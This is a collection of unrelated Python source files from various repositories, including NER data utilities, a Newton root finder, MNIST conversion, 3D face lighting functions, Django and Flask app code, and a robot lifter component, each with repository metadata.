def toeplitz_solve(a: Numeric, b: Numeric, c: Numeric):
return _toeplitz_solve(a, b, c)
| [
"wessel.p.bruinsma@gmail.com"
] | wessel.p.bruinsma@gmail.com |
eb4207d2b4d3b04a745f8b479e228557e21a8021 | 706b3537037ef3a779357ee7c747bc336ed670d1 | /hier_labels/model/old/data_utils_wo_error_analysis.py | 0ac4e96e8b35ce1c77d31100ab5c152d70a8d657 | [
"Apache-2.0"
] | permissive | medical-projects/PICO | 22dea30ab790861d403aad6ab0472cc40577292a | 5b134e32c804a73d960e28528aebf52dd02b8430 | refs/heads/master | 2021-10-01T00:10:29.411607 | 2018-11-26T06:55:12 | 2018-11-26T06:55:12 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 11,707 | py | import numpy as np
import os
# shared global variables to be imported from model also
UNK = "$UNK$"
NUM = "$NUM$"
NONE = "None"
# special error message
class MyIOError(Exception):
def __init__(self, filename):
# custom error message
message = """
ERROR: Unable to locate file {}.
FIX: Have you tried running python build_data.py first?
This will build vocab file from your train, test and dev sets and
trimm your word vectors.
""".format(filename)
super(MyIOError, self).__init__(message)
class CoNLLDataset(object):
"""Class that iterates over CoNLL Dataset
__iter__ method yields a tuple (words, tags)
words: list of raw words
tags: list of raw tags
If processing_word and processing_tag are not None,
optional preprocessing is appplied
Example:
```python
data = CoNLLDataset(filename)
for sentence, tags in data:
pass
```
"""
def __init__(self, filename, processing_word=None, processing_tag=None,
max_iter=None):
"""
Args:
filename: path to the file
processing_words: (optional) function that takes a word as input
processing_tags: (optional) function that takes a tag as input
max_iter: (optional) max number of sentences to yield
"""
self.filename = filename
self.processing_word = processing_word
self.processing_tag = processing_tag
self.max_iter = max_iter
self.length = None
def __iter__(self):
niter = 0
with open(self.filename) as f:
words, tags = [], []
for line in f:
line = line.strip()
if (len(line) == 0 or line.startswith("-DOCSTART-")):
if len(words) != 0:
niter += 1
if self.max_iter is not None and niter > self.max_iter:
break
yield words, tags
words, tags = [], []
else:
ls = line.split(' ')
word, pos, tag = ls[0], ls[1], ls[-1]
if self.processing_word is not None:
word = self.processing_word(word)
if self.processing_tag is not None:
tag = self.processing_tag(tag)
words += [word]
tags += [tag]
def __len__(self):
"""Iterates once over the corpus to set and store length"""
if self.length is None:
self.length = 0
for _ in self:
self.length += 1
return self.length
def get_vocabs(datasets):
"""Build vocabulary from an iterable of datasets objects
Args:
datasets: a list of dataset objects
Returns:
a set of all the words in the dataset
"""
print("Building vocab...")
vocab_words = set()
vocab_tags = set()
for dataset in datasets:
for words, tags in dataset:
vocab_words.update(words)
vocab_tags.update(tags)
print("- done. {} tokens".format(len(vocab_words)))
return vocab_words, vocab_tags
def get_char_vocab(dataset):
"""Build char vocabulary from an iterable of datasets objects
Args:
dataset: a iterator yielding tuples (sentence, tags)
Returns:
a set of all the characters in the dataset
"""
vocab_char = set()
for words, _ in dataset:
for word in words:
vocab_char.update(word)
return vocab_char
#change to w2v
def get_glove_vocab(filename):
"""Load vocab from file
Args:
filename: path to the glove vectors
Returns:
vocab: set() of strings
"""
print("Building vocab...")
vocab = set()
with open(filename) as f:
for line in f:
word = line.strip().split(' ')[0]
vocab.add(word)
print("- done. {} tokens".format(len(vocab)))
return vocab
def write_vocab(vocab, filename):
"""Writes a vocab to a file
Writes one word per line.
Args:
vocab: iterable that yields word
filename: path to vocab file
Returns:
write a word per line
"""
print("Writing vocab...")
with open(filename, "w") as f:
for i, word in enumerate(vocab):
if i != len(vocab) - 1:
f.write("{}\n".format(word))
else:
f.write(word)
print("- done. {} tokens".format(len(vocab)))
def load_vocab(filename):
"""Loads vocab from a file
Args:
filename: (string) the format of the file must be one word per line.
Returns:
d: dict[word] = index
"""
try:
d = dict()
with open(filename) as f:
for idx, word in enumerate(f):
word = word.strip()
d[word] = idx
except IOError:
raise MyIOError(filename)
return d
def export_trimmed_glove_vectors(vocab, glove_filename, trimmed_filename, dim):
"""Saves glove vectors in numpy array
Args:
vocab: dictionary vocab[word] = index
glove_filename: a path to a glove file
trimmed_filename: a path where to store a matrix in npy
dim: (int) dimension of embeddings
"""
embeddings = np.zeros([len(vocab), dim])
with open(glove_filename) as f:
for line in f:
line = line.strip().split(' ')
word = line[0]
embedding = [float(x) for x in line[1:]]
if word in vocab:
word_idx = vocab[word]
embeddings[word_idx] = np.asarray(embedding)
np.savez_compressed(trimmed_filename, embeddings=embeddings)
def get_trimmed_glove_vectors(filename):
"""
Args:
filename: path to the npz file
Returns:
matrix of embeddings (np array)
"""
try:
with np.load(filename) as data:
return data["embeddings"]
except IOError:
raise MyIOError(filename)
def get_processing_word(vocab_words=None, vocab_chars=None,
lowercase=False, chars=False, allow_unk=True):
"""Return lambda function that transform a word (string) into list,
or tuple of (list, id) of int corresponding to the ids of the word and
its corresponding characters.
Args:
vocab: dict[word] = idx
Returns:
f("cat") = ([12, 4, 32], 12345)
= (list of char ids, word id)
"""
def f(word):
# 0. get chars of words
if vocab_chars is not None and chars == True:
char_ids = []
for char in word:
# ignore chars out of vocabulary
if char in vocab_chars:
char_ids += [vocab_chars[char]]
# 1. preprocess word
if lowercase:
word = word.lower()
if word.isdigit():
word = NUM
# 2. get id of word
if vocab_words is not None:
if word in vocab_words:
word = vocab_words[word]
else:
if allow_unk:
word = vocab_words[UNK]
else:
raise Exception("Unknow key is not allowed. Check that "\
"your vocab (tags?) is correct")
# 3. return tuple char ids, word id
if vocab_chars is not None and chars == True:
return char_ids, word
else:
return word
return f
def _pad_sequences(sequences, pad_tok, max_length):
"""
Args:
sequences: a generator of list or tuple
pad_tok: the char to pad with
Returns:
a list of list where each sublist has same length
"""
sequence_padded, sequence_length = [], []
for seq in sequences:
seq = list(seq)
seq_ = seq[:max_length] + [pad_tok]*max(max_length - len(seq), 0)
sequence_padded += [seq_]
sequence_length += [min(len(seq), max_length)]
return sequence_padded, sequence_length
def pad_sequences(sequences, pad_tok, nlevels=1):
"""
Args:
sequences: a generator of list or tuple
pad_tok: the char to pad with
nlevels: "depth" of padding, for the case where we have characters ids
Returns:
a list of list where each sublist has same length
"""
if nlevels == 1:
max_length = max(map(lambda x : len(x), sequences))
sequence_padded, sequence_length = _pad_sequences(sequences,
pad_tok, max_length)
elif nlevels == 2:
max_length_word = max([max(map(lambda x: len(x), seq))
for seq in sequences])
sequence_padded, sequence_length = [], []
for seq in sequences:
# all words are same length now
sp, sl = _pad_sequences(seq, pad_tok, max_length_word)
sequence_padded += [sp]
sequence_length += [sl]
max_length_sentence = max(map(lambda x : len(x), sequences))
sequence_padded, _ = _pad_sequences(sequence_padded,
[pad_tok]*max_length_word, max_length_sentence)
sequence_length, _ = _pad_sequences(sequence_length, 0,
max_length_sentence)
return sequence_padded, sequence_length
def minibatches(data, minibatch_size):
"""
Args:
data: generator of (sentence, tags) tuples
minibatch_size: (int)
Yields:
list of tuples
"""
x_batch, y_batch = [], []
for (x, y) in data:
if len(x_batch) == minibatch_size:
yield x_batch, y_batch
x_batch, y_batch = [], []
if type(x[0]) == tuple:
x = zip(*x)
x_batch += [x]
y_batch += [y]
if len(x_batch) != 0:
yield x_batch, y_batch
def get_chunk_type(tok, idx_to_tag):
"""
Args:
tok: id of token, ex 4
idx_to_tag: dictionary {4: "B-PER", ...}
Returns:
tuple: "B", "PER"
"""
tag_name = idx_to_tag[tok]
tag_class = tag_name.split('-')[0]
tag_type = tag_name.split('-')[-1]
return tag_class, tag_type
def get_chunks(seq, tags):
"""Given a sequence of tags, group entities and their position
Args:
seq: [4, 4, 0, 0, ...] sequence of labels
tags: dict["O"] = 4
Returns:
list of (chunk_type, chunk_start, chunk_end)
Example:
seq = [4, 5, 0, 3]
tags = {"B-PER": 4, "I-PER": 5, "B-LOC": 3}
result = [("PER", 0, 2), ("LOC", 3, 4)]
"""
default = tags[NONE]
idx_to_tag = {idx: tag for tag, idx in tags.items()}
chunks = []
chunk_type, chunk_start = None, None
for i, tok in enumerate(seq):
# End of a chunk 1
if tok == default and chunk_type is not None:
# Add a chunk.
chunk = (chunk_type, chunk_start, i)
chunks.append(chunk)
chunk_type, chunk_start = None, None
# End of a chunk + start of a chunk!
elif tok != default:
tok_chunk_class, tok_chunk_type = get_chunk_type(tok, idx_to_tag)
if chunk_type is None:
chunk_type, chunk_start = tok_chunk_type, i
elif tok_chunk_type != chunk_type or tok_chunk_class == "B":
chunk = (chunk_type, chunk_start, i)
chunks.append(chunk)
chunk_type, chunk_start = tok_chunk_type, i
else:
pass
# end condition
if chunk_type is not None:
chunk = (chunk_type, chunk_start, len(seq))
chunks.append(chunk)
return chunks
| [
"maxaalexeeva@gmail.com"
] | maxaalexeeva@gmail.com |
2d08f717b2851b1e9f4fc9e7217b39fbf022aadd | 88f25352d2c8b39d149187736bb260cb84097d93 | /lista4/rootNewton.py | 1ce24e0f01a47ba61667893f8bb07406bc59e0c3 | [] | no_license | ducast/alc | 0af83200aa73dc7f00657b3d6fdfad58ab517029 | dccc7426b0722b192a21226a9df534495f37c34d | refs/heads/master | 2021-01-23T14:46:58.863020 | 2017-06-11T21:49:39 | 2017-06-11T21:49:39 | 93,260,466 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 594 | py | from math import *
import numdifftools as nd
def rootNewton(f,x0,max_it,tol):
print ("==== Método de Newton para Raízes ====")
for it in range(max_it):
x = x0 - f(x0) / nd.Derivative(f)(x0)
tolk = abs(x - x0)
print (int(it),round(x,2))
if tolk < tol:
print ("Convergiu para %d iterações.\nXi = "%(it+1),x)
return x
x0 = x
print ("Não convergiu para %d iterações.\nXk = "%(it+1),x)
# def f1(x):
# return x**2-4*cos(x)
#
# f=f1
# x0 = 10
# max_it = 10000
# tol = 10**(-4)
#
# rootNewton(f1,x0,max_it,tol)
| [
"eduardo-castanho@hotmail.com"
] | eduardo-castanho@hotmail.com |
80061a213c1bde5aef15c9b944e4fddf228b8218 | c95691559b7e94ccbd30d0295a852816bfd42f8a | /day25/day25.py | a48bdc73c07790270577bbe72ce4072fae2428da | [] | no_license | nsmryan/aoc2020 | 2fe515ca5f1db8711da00c9c921111d120d23b9f | a7810af1d2a0eff95d33da8d1378ba3b3a20b218 | refs/heads/master | 2023-02-03T05:32:08.817045 | 2020-12-25T14:54:21 | 2020-12-25T14:54:21 | 317,392,264 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 608 | py | key1 = 8184785
key2 = 5293040
#key1 = 17807724
#key2 = 5764801
def step(value, subject):
return (value * subject) % 20201227
def find_loop(key):
value = 1
loop_times = 0
while value != key:
value = step(value, 7)
loop_times += 1
return loop_times
loop1 = find_loop(key1)
print("loop size " + str(loop1))
loop2 = find_loop(key2)
print("loop size " + str(loop2))
result = 1
for _ in range(0, loop1):
result = step(result, key2)
print(result)
result = 1
for _ in range(0, loop2):
result = step(result, key1)
print(result)
| [
"nsmryan@gmail.com"
] | nsmryan@gmail.com |
4ab09766bdc8e293d8f7f6f4e76a8bc6a5df8c02 | fdc17d049336b24a645dcd585c070e4f7b1a3208 | /components/lifter.py | 440f7c4d7ce5eb5353dee4ca8544c96a8d2aa728 | [] | no_license | team1225/2018-CubeKong-py | 9c5e668719a6da50c53ea7295285649041d5b040 | 1652c4e8a648747e14583ab989bdc35973f21c45 | refs/heads/master | 2020-03-12T08:08:51.137977 | 2018-08-06T17:46:17 | 2018-08-06T17:46:17 | 130,521,182 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 915 | py | import wpilib
class Lifter:
# The lifting mechanism, will be injected in robot.py
lifter: wpilib.DoubleSolenoid
position: bool
def set_lift(self, new_position):
if new_position == True:
self.position = True
elif new_position == False:
self.position = False
else:
raise ExpectedBool
def toggle_position(self):
if self.position == True:
self.position = False
elif self.position == False:
self.position = True
else:
raise ExpectedBool
def on_enable(self):
# Called when the robot enters teleop or autonomous mode
pass
def execute(self):
# Executes during robot runtime
if self.position:
self.lifter.set(wpilib.DoubleSolenoid.Value.kReverse)
else:
self.lifter.set(wpilib.DoubleSolenoid.Value.kForward)
| [
"hfiantaca@gmail.com"
] | hfiantaca@gmail.com |
b789dcc8c2c8b5c5cc7429535c32875a9f690efc | 8cfee59143ecd307fe7d7a27986c3346aa8ce60c | /AI/1. Machine Learning/163_mnist-tocsv.py | cf18d04e18f98b2720fada6f34a867fd43f3f5a4 | [] | no_license | kiminhan/Python | daafc1fde804f172ebfb1385ab9d6205c7a45970 | dc6af486aaf7d25dbe13bcee4e115207f37d4696 | refs/heads/master | 2020-03-08T19:18:10.173346 | 2018-09-06T06:11:40 | 2018-09-06T06:11:40 | 128,288,713 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,346 | py | import struct
def to_csv(name, maxdata):
# 레이블 파일과 이미지 파일 열기
lbl_f = open("./mnist_/"+name+"-labels-idx1-ubyte", "rb")
img_f = open("./mnist_/"+name+"-images-idx3-ubyte", "rb")
csv_f = open("./mnist_/"+name+".csv", "w", encoding="utf-8")
# 헤더 정보 읽기 --- (※1)
mag, lbl_count = struct.unpack(">II", lbl_f.read(8))
mag, img_count = struct.unpack(">II", img_f.read(8))
rows, cols = struct.unpack(">II", img_f.read(8))
pixels = rows * cols
# 이미지 데이터를 읽고 CSV로 저장하기 --- (※2)
res = []
for idx in range(lbl_count):
if idx > maxdata: break
label = struct.unpack("B", lbl_f.read(1))[0]
bdata = img_f.read(pixels)
sdata = list(map(lambda n: str(n), bdata))
csv_f.write(str(label)+",")
csv_f.write(",".join(sdata)+"\r\n")
# 잘 저장됐는지 이미지 파일로 저장해서 테스트하기 -- (※3)
if idx < 10:
s = "P2 28 28 255\n"
s += " ".join(sdata)
iname = "./mnist_/{0}-{1}-{2}.pgm".format(name,idx,label)
with open(iname, "w", encoding="utf-8") as f:
f.write(s)
csv_f.close()
lbl_f.close()
img_f.close()
# 결과를 파일로 출력하기 --- (※4)
to_csv("train", 1000)
to_csv("t10k", 500) | [
"rladlsgks4@naver.com"
] | rladlsgks4@naver.com |
494e005bf465f0567890224eb9e0fc3ebf7b085f | 595ff50f59cc29ee8ff8d5780971b81cdd768d21 | /manage.py | e4d1f918800657b994e5d21218941857761272e9 | [] | no_license | shermanxiong/scam-detection | 62a3c20dd08fa443ad91bf82e4062339a8fb6c45 | d8f33024cd0331f78bf8afe39ac82400464b5c08 | refs/heads/master | 2020-06-06T06:12:05.735943 | 2019-06-21T01:17:46 | 2019-06-21T01:17:46 | 192,660,704 | 0 | 1 | null | null | null | null | UTF-8 | Python | false | false | 637 | py | #!/usr/bin/env python
"""Django's command-line utility for administrative tasks."""
import os
import sys
def main():
os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'scamDetectionTask.settings')
try:
from django.core.management import execute_from_command_line
except ImportError as exc:
raise ImportError(
"Couldn't import Django. Are you sure it's installed and "
"available on your PYTHONPATH environment variable? Did you "
"forget to activate a virtual environment?"
) from exc
execute_from_command_line(sys.argv)
if __name__ == '__main__':
main()
| [
"sherman.xiong@gmail.com"
] | sherman.xiong@gmail.com |
816e04e5d69c642ba2a24942f2af7ce25030a1a5 | 8c9402d753e36d39e0bef431c503cf3557b7e777 | /Sarsa_lambda_learning/main.py | e198580483ff22b2a9cc4c9141037276d21998a9 | [] | no_license | HuichuanLI/play_with_deep_reinforcement_learning | 9477e925f6ade81f885fb3f3b526485f49423611 | df2368868ae9489aff1be4ef0c6de057f094ef56 | refs/heads/main | 2023-07-08T04:52:38.167831 | 2021-08-21T14:05:36 | 2021-08-21T14:05:36 | 395,042,978 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,418 | py | # -*- coding:utf-8 -*-
# @Time : 2021/8/17 10:59 下午
# @Author : huichuan LI
# @File : main.py
# @Software: PyCharm
from maze import Maze
from Sara_Lambda import SarsaLambdaTable
def update():
for episode in range(100):
# initial observation
observation = env.reset()
# RL choose action based on observation
action = RL.choose_action(str(observation))
while True:
# fresh env
env.render()
# RL take action and get next observation and reward
# 和Q_learning 一样
observation_, reward, done = env.step(action)
# RL choose action based on next observation
# 直接通过状态选择下一步
action_ = RL.choose_action(str(observation_))
# RL learn from this transition (s, a, r, s, a) ==> Sarsa
# 直接更新action_对应的哪一步
RL.learn(str(observation), action, reward, str(observation_), action_)
# swap observation and action
observation = observation_
action = action_
# break while loop when end of this episode
if done:
break
# end of game
print('game over')
env.destroy()
if __name__ == "__main__":
env = Maze()
RL = SarsaLambdaTable(actions=list(range(env.n_actions)))
env.after(100, update)
env.mainloop()
| [
"lhc14124908@163.com"
] | lhc14124908@163.com |
6d1251f96e95ba1a11e3cc90efb4ac438f43f3c2 | 2fc85575c373c9cd404b7a824e751ea984cbd1b9 | /ingredients/migrations/0001_initial.py | 547306c5c3d609a677c616c9fadc6cff85181ea3 | [] | no_license | ildecarz/bigbox | 3fd46e194346a10907fa33106e76df05b92bd7df | be45180fd979344b5412586cc92f13a331a2a8ad | refs/heads/main | 2023-05-05T21:23:53.353828 | 2021-05-28T13:55:52 | 2021-05-28T13:55:52 | 361,298,267 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,000 | py | # Generated by Django 2.2 on 2021-05-19 20:00
from django.db import migrations, models
import django.db.models.deletion
class Migration(migrations.Migration):
initial = True
dependencies = [
]
operations = [
migrations.CreateModel(
name='Category',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('name', models.CharField(max_length=100)),
],
),
migrations.CreateModel(
name='Ingredient',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('name', models.CharField(max_length=100)),
('notes', models.TextField()),
('category', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='ingredients', to='ingredients.Category')),
],
),
]
| [
"ildemarocarrasco@gmail.com"
] | ildemarocarrasco@gmail.com |
2c67af0e6a0e47698557d1c16075616c11e7da42 | 1ec59e88299c7af9df3854188736b706e89e01fa | /app/forms/public/profile_forms.py | 1f3f68864842f4660895d45a56b96a51956c26cd | [] | no_license | Chenger1/NutCompany_FlaskApp | 7484b04721766b42f9cc909d11c3e942bf3b3371 | c51129e04f2c9e35263d9e28810b4c2862932ef6 | refs/heads/master | 2023-08-06T09:08:27.532820 | 2021-09-23T19:52:25 | 2021-09-23T19:52:25 | 405,457,276 | 0 | 0 | null | 2021-09-12T10:55:47 | 2021-09-11T18:44:35 | HTML | UTF-8 | Python | false | false | 1,241 | py | from flask_wtf import FlaskForm
from wtforms import StringField, SelectField
from wtforms.validators import Email, Optional
from ..custom_field import CustomFileField
from app._db.choices import CountryChoice
class ClientPersonalInfoForm(FlaskForm):
fio = StringField('ФИО', validators=[Optional()])
email = StringField('Email', validators=[Optional(), Email()])
phone = StringField('Телефон', validators=[Optional()])
company = StringField('Компания', validators=[Optional()])
photo = CustomFileField('Фото', validators=[Optional()])
class ClientProfileAddressForm(FlaskForm):
country = SelectField('Страна', choices=CountryChoice.choices(), coerce=CountryChoice.coerce)
city = StringField('Город', validators=[Optional()])
address = StringField('Адрес', validators=[Optional()])
country_ur = SelectField('Страна', choices=CountryChoice.choices(), coerce=CountryChoice.coerce)
city_ur = StringField('Город', validators=[Optional()])
address_ur = StringField('Адрес', validators=[Optional()])
index = StringField('Индекс', validators=[Optional()])
credentials = StringField('Реквизиты', validators=[Optional()])
| [
"exs2199@gmail.com"
] | exs2199@gmail.com |
dffff54fdbcd023f7ce8038ad836b2214eb95f3d | 4b4147ca5ad3cf6bd0235263fe8ec279d4ac4cc9 | /face3d/face3d/mesh_numpy/light.py | becc5fbc757e9f4ebe9cf39a03c07522c24a1b13 | [
"MIT"
] | permissive | weepiess/PRnet-train | e7d9f2ac75a977d5b25bac6bd50aa6d840a666ec | 16631e71623a1fbb7acf09d183ab460d0467564b | refs/heads/master | 2022-09-02T06:17:02.633333 | 2020-05-20T17:07:02 | 2020-05-20T17:07:02 | 259,006,451 | 1 | 0 | MIT | 2020-05-09T10:44:35 | 2020-04-26T10:51:44 | Python | UTF-8 | Python | false | false | 7,717 | py | '''
Functions about lighting mesh(changing colors/texture of mesh).
1. add light to colors/texture (shade each vertex)
2. fit light according to colors/texture & image.
Preparation knowledge:
lighting: https://cs184.eecs.berkeley.edu/lecture/pipeline
spherical harmonics in human face: '3D Face Reconstruction from a Single Image Using a Single Reference Face Shape'
'''
from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
import numpy as np
def get_normal(vertices, triangles):
''' calculate normal direction in each vertex
Args:
vertices: [nver, 3]
triangles: [ntri, 3]
Returns:
normal: [nver, 3]
'''
pt0 = vertices[triangles[:, 0], :] # [ntri, 3]
pt1 = vertices[triangles[:, 1], :] # [ntri, 3]
pt2 = vertices[triangles[:, 2], :] # [ntri, 3]
tri_normal = np.cross(pt0 - pt1, pt0 - pt2) # [ntri, 3]. normal of each triangle
normal = np.zeros_like(vertices) # [nver, 3]
for i in range(triangles.shape[0]):
normal[triangles[i, 0], :] = normal[triangles[i, 0], :] + tri_normal[i, :]
normal[triangles[i, 1], :] = normal[triangles[i, 1], :] + tri_normal[i, :]
normal[triangles[i, 2], :] = normal[triangles[i, 2], :] + tri_normal[i, :]
# normalize to unit length
mag = np.sum(normal**2, 1) # [nver]
zero_ind = (mag == 0)
mag[zero_ind] = 1;
normal[zero_ind, 0] = np.ones((np.sum(zero_ind)))
normal = normal/np.sqrt(mag[:,np.newaxis])
return normal
# TODO: test
def add_light_sh(vertices, triangles, colors, sh_coeff):
'''
In 3d face, usually assume:
1. The surface of face is Lambertian(reflect only the low frequencies of lighting)
2. Lighting can be an arbitrary combination of point sources
--> can be expressed in terms of spherical harmonics(omit the lighting coefficients)
I = albedo * (sh(n) x sh_coeff)
albedo: n x 1
sh_coeff: 9 x 1
Y(n) = (1, n_x, n_y, n_z, n_xn_y, n_xn_z, n_yn_z, n_x^2 - n_y^2, 3n_z^2 - 1)': n x 9
# Y(n) = (1, n_x, n_y, n_z)': n x 4
Args:
vertices: [nver, 3]
triangles: [ntri, 3]
colors: [nver, 3] albedo
sh_coeff: [9, 1] spherical harmonics coefficients
Returns:
lit_colors: [nver, 3]
'''
assert vertices.shape[0] == colors.shape[0]
nver = vertices.shape[0]
normal = get_normal(vertices, triangles) # [nver, 3]
sh = np.array((np.ones(nver), n[:,0], n[:,1], n[:,2], n[:,0]*n[:,1], n[:,0]*n[:,2], n[:,1]*n[:,2], n[:,0]**2 - n[:,1]**2, 3*(n[:,2]**2) - 1)) # [nver, 9]
ref = sh.dot(sh_coeff) #[nver, 1]
lit_colors = colors*ref
return lit_colors
def add_light(vertices, triangles, colors, light_positions = 0, light_intensities = 0):
''' Gouraud shading. add point lights.
In 3d face, usually assume:
1. The surface of face is Lambertian(reflect only the low frequencies of lighting)
2. Lighting can be an arbitrary combination of point sources
3. No specular (unless skin is oil, 23333)
Ref: https://cs184.eecs.berkeley.edu/lecture/pipeline
Args:
vertices: [nver, 3]
triangles: [ntri, 3]
light_positions: [nlight, 3]
light_intensities: [nlight, 3]
Returns:
lit_colors: [nver, 3]
'''
nver = vertices.shape[0]
normals = get_normal(vertices, triangles) # [nver, 3]
# ambient
# La = ka*Ia
# diffuse
# Ld = kd*(I/r^2)max(0, nxl)
direction_to_lights = vertices[np.newaxis, :, :] - light_positions[:, np.newaxis, :] # [nlight, nver, 3]
direction_to_lights_n = np.sqrt(np.sum(direction_to_lights**2, axis = 2)) # [nlight, nver]
direction_to_lights = direction_to_lights/direction_to_lights_n[:, :, np.newaxis]
normals_dot_lights = normals[np.newaxis, :, :]*direction_to_lights # [nlight, nver, 3]
normals_dot_lights = np.sum(normals_dot_lights, axis = 2) # [nlight, nver]
diffuse_output = colors[np.newaxis, :, :]*normals_dot_lights[:, :, np.newaxis]*light_intensities[:, np.newaxis, :]
diffuse_output = np.sum(diffuse_output, axis = 0) # [nver, 3]
# specular
# h = (v + l)/(|v + l|) bisector
# Ls = ks*(I/r^2)max(0, nxh)^p
# increasing p narrows the reflectionlob
lit_colors = diffuse_output # only diffuse part here.
lit_colors = np.minimum(np.maximum(lit_colors, 0), 1)
return lit_colors
## TODO. estimate light(sh coeff)
## -------------------------------- estimate. can not use now.
def fit_light(image, vertices, colors, triangles, vis_ind, lamb = 10, max_iter = 3):
[h, w, c] = image.shape
# surface normal
norm = get_normal(vertices, triangles)
nver = vertices.shape[1]
# vertices --> corresponding image pixel
pt2d = vertices[:2, :]
pt2d[0,:] = np.minimum(np.maximum(pt2d[0,:], 0), w - 1)
pt2d[1,:] = np.minimum(np.maximum(pt2d[1,:], 0), h - 1)
pt2d = np.round(pt2d).astype(np.int32) # 2 x nver
image_pixel = image[pt2d[1,:], pt2d[0,:], :] # nver x 3
image_pixel = image_pixel.T # 3 x nver
# vertices --> corresponding mean texture pixel with illumination
# Spherical Harmonic Basis
harmonic_dim = 9
nx = norm[0,:];
ny = norm[1,:];
nz = norm[2,:];
harmonic = np.zeros((nver, harmonic_dim))
pi = np.pi
harmonic[:,0] = np.sqrt(1/(4*pi)) * np.ones((nver,));
harmonic[:,1] = np.sqrt(3/(4*pi)) * nx;
harmonic[:,2] = np.sqrt(3/(4*pi)) * ny;
harmonic[:,3] = np.sqrt(3/(4*pi)) * nz;
harmonic[:,4] = 1/2. * np.sqrt(3/(4*pi)) * (2*nz**2 - nx**2 - ny**2);
harmonic[:,5] = 3 * np.sqrt(5/(12*pi)) * (ny*nz);
harmonic[:,6] = 3 * np.sqrt(5/(12*pi)) * (nx*nz);
harmonic[:,7] = 3 * np.sqrt(5/(12*pi)) * (nx*ny);
harmonic[:,8] = 3/2. * np.sqrt(5/(12*pi)) * (nx*nx - ny*ny);
'''
I' = sum(albedo * lj * hj) j = 0:9 (albedo = tex)
set A = albedo*h (n x 9)
alpha = lj (9 x 1)
Y = I (n x 1)
Y' = A.dot(alpha)
opt function:
||Y - A*alpha|| + lambda*(alpha'*alpha)
result:
A'*(Y - A*alpha) + lambda*alpha = 0
==>
(A'*A*alpha - lambda)*alpha = A'*Y
left: 9 x 9
right: 9 x 1
'''
n_vis_ind = len(vis_ind)
n = n_vis_ind*c
Y = np.zeros((n, 1))
A = np.zeros((n, 9))
light = np.zeros((3, 1))
for k in range(c):
Y[k*n_vis_ind:(k+1)*n_vis_ind, :] = image_pixel[k, vis_ind][:, np.newaxis]
A[k*n_vis_ind:(k+1)*n_vis_ind, :] = texture[k, vis_ind][:, np.newaxis] * harmonic[vis_ind, :]
Ac = texture[k, vis_ind][:, np.newaxis]
Yc = image_pixel[k, vis_ind][:, np.newaxis]
light[k] = (Ac.T.dot(Yc))/(Ac.T.dot(Ac))
for i in range(max_iter):
Yc = Y.copy()
for k in range(c):
Yc[k*n_vis_ind:(k+1)*n_vis_ind, :] /= light[k]
# update alpha
equation_left = np.dot(A.T, A) + lamb*np.eye(harmonic_dim); # why + ?
equation_right = np.dot(A.T, Yc)
alpha = np.dot(np.linalg.inv(equation_left), equation_right)
# update light
for k in range(c):
Ac = A[k*n_vis_ind:(k+1)*n_vis_ind, :].dot(alpha)
Yc = Y[k*n_vis_ind:(k+1)*n_vis_ind, :]
light[k] = (Ac.T.dot(Yc))/(Ac.T.dot(Ac))
appearance = np.zeros_like(texture)
for k in range(c):
tmp = np.dot(harmonic*texture[k, :][:, np.newaxis], alpha*light[k])
appearance[k,:] = tmp.T
appearance = np.minimum(np.maximum(appearance, 0), 1)
return appearance
| [
"1095215611@qq.com"
] | 1095215611@qq.com |
91e562078bece0259cf7a8eeb1a9714d1804c552 | 5d8c3150f28ab998326e38f1da420eb4e8d946c6 | /app.py | 7fd829b831371a7fdfadebdd9b241882fd616fac | [] | no_license | hoon0624/garbage-classification-heroku | 6bb587704a38a18c9a65735c4eb84e3b1db116bc | e3f2d1535db9097cfb2f0d5ca42230ed3566e889 | refs/heads/master | 2023-05-13T08:33:40.825155 | 2020-04-14T17:38:17 | 2020-04-14T17:38:17 | 254,552,658 | 4 | 3 | null | 2023-05-01T21:37:48 | 2020-04-10T05:35:52 | Jupyter Notebook | UTF-8 | Python | false | false | 1,649 | py | from __future__ import division, print_function
# coding=utf-8
import sys
import os
import glob
import re
from pathlib import Path
# Import fast.ai Library
from fastai import *
from fastai.vision import *
# Flask utils
from flask import Flask, redirect, url_for, request, render_template
from werkzeug.utils import secure_filename
# Define a flask app
app = Flask(__name__)
path = Path("path")
classes = ['cardboard', 'glass', 'metal', 'paper', 'plastic', 'trash']
# depricated use DataBunch.load_empty
data2 = ImageDataBunch.single_from_classes(path, classes, ds_tfms=get_transforms(), size=224).normalize(imagenet_stats)
# learn = create_cnn(data2, models.resnet34)
# learn.load('model_9086')
path1 = Path("./path/models")
learn = load_learner(path1, 'export.pkl')
def model_predict(img_path):
"""
model_predict will return the preprocessed image
"""
img = open_image(img_path)
pred_class,pred_idx,outputs = learn.predict(img)
return pred_class
@app.route('/', methods=['GET'])
def index():
# Main page
return render_template('index.html')
@app.route('/predict', methods=['GET', 'POST'])
def upload():
if request.method == 'POST':
# Get the file from post request
f = request.files['file']
# Save the file to ./uploads
basepath = os.path.dirname(__file__)
file_path = os.path.join(
basepath, 'uploads', secure_filename(f.filename))
f.save(file_path)
# Make prediction
preds = model_predict(file_path)
preds = str(preds)
return preds
return None
if __name__ == '__main__':
app.run() | [
"donghoon.lee@mail.mcgill.ca"
] | donghoon.lee@mail.mcgill.ca |
